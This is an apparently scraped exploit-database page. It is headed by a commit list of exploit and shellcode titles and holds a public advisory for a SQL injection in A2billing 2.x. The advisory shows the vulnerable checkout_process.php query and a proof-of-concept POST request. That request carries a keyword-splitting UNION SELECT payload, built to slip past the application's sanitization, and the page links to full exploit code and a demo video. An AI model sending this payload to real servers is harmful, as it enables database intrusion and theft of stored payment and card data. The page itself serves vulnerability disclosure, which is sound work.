ed0e1e4d44
1979 changes to exploits/shellcodes Couchdb 1.5.0 - 'uuids' Denial of Service Apache CouchDB 1.5.0 - 'uuids' Denial of Service Beyond Remote 2.2.5.3 - Denial of Service (PoC) udisks2 2.8.0 - Denial of Service (PoC) Termite 3.4 - Denial of Service (PoC) SoftX FTP Client 3.3 - Denial of Service (PoC) Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection Silverstripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - Multiple Vulnerabilities Silverstripe CMS 2.4 - File Renaming Security Bypass SilverStripe CMS 2.4 - File Renaming Security Bypass Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload Silverstripe CMS 2.4.x - 'BackURL' Open Redirection SilverStripe CMS 2.4.x - 'BackURL' Open Redirection Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure Silverstripe CMS - Multiple HTML Injection Vulnerabilities SilverStripe CMS - Multiple HTML Injection Vulnerabilities Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation Monstra CMS before 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (2) Monstra CMS < 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (1) Navigate CMS 2.8 - Cross-Site Scripting Collectric CMU 1.0 - 'lang' SQL injection Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection LG SuperSign EZ CMS 2.5 - Remote Code Execution MyBB Visual Editor 1.8.18 - Cross-Site Scripting Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection RICOH Aficio MP 301 Printer - Cross-Site Scripting Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection RICOH MP C6003 Printer - Cross-Site Scripting Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes) Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
45 lines
No EOL
2.3 KiB
Text
45 lines
No EOL
2.3 KiB
Text
# Title : A2billing 2.x , Sql injection vulnerability
|
|
# Vulnerable software : A2billing 2.x
|
|
# Author : Ahmed sultan (0x4148)
|
|
# Email : 0x4148@gmail.com
|
|
# Linkedin : https://www.linkedin.com/in/0x4148/
|
|
|
|
If you're looking for deep technical stuff , overcoming sanitization/hardening . . etc you can check out the full writeup at https://0x4148.com/2016/10/28/a2billing-all-versions-2-1-1-sql-injection-exploit/
|
|
|
|
A2billing is vulnerable to sql injection attack resulting from not enough sanitization of several inputs including transactionID
|
|
The sanitization proccess differ from version to another , but the concept is the same ,
|
|
I demonstrated bypassing the last version (2.1.1) , but still all versions till the moment are vulnerable as well with just little bit different modifications
|
|
|
|
File : agent/public/checkout_process.php
|
|
getpost_ifset(array('transactionID', 'sess_id', 'key', 'mc_currency',
|
|
'currency', 'md5sig', 'merchant_id', 'mb_amount', 'status', 'mb_currency',
|
|
'transaction_id', 'mc_fee', 'card_number'));
|
|
...................................................
|
|
// Status - New 0 ; Proceed 1 ; In Process 2
|
|
$QUERY = "SELECT id, agent_id, amount, vat, paymentmethod, cc_owner,
|
|
cc_number, cc_expires, creationdate, status, cvv, credit_card_type,
|
|
currency " .
|
|
" FROM cc_epayment_log_agent " .
|
|
" WHERE id = ".$transactionID." AND (status = 0 OR (status = 2 AND
|
|
$NOW_2MIN))";
|
|
$transaction_data = $paymentTable->SQLExec ($DBHandle_max, $QUERY);
|
|
|
|
|
|
POC :
|
|
Sending POST request : transactionID=456789111111 unise//**lectonselinse//**rtect 1,2,3,4,0x706c75676e706179,6,7,8,9,10,11,12,13-//**--&sess_id=4148key=636902c6ed0db5780eb613d126e95268
|
|
to : https://HOST/a2billing/agent/Public/checkout_process.php
|
|
will result in redirection of the application and the Location header will contain our decoded payment module which was used in the query "plugnpay" , which indicate successful injection
|
|
|
|
Full exploitation demo : https://www.youtube.com/watch?v=8dfdZCmPGWA
|
|
|
|
|
|
Exploit timeline :
|
|
01/10/2016 : vulnerability reported to vendor
|
|
06/10/2016 - 12/2016 : talks talks talks with promises of fixing ASAP
|
|
04/09/2017 : Public release
|
|
|
|
Full exploit code is attached <loose code for demonstration purposes only>
|
|
|
|
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42615.zip
|
|
|
|
Thanks fly to R1z clan :) |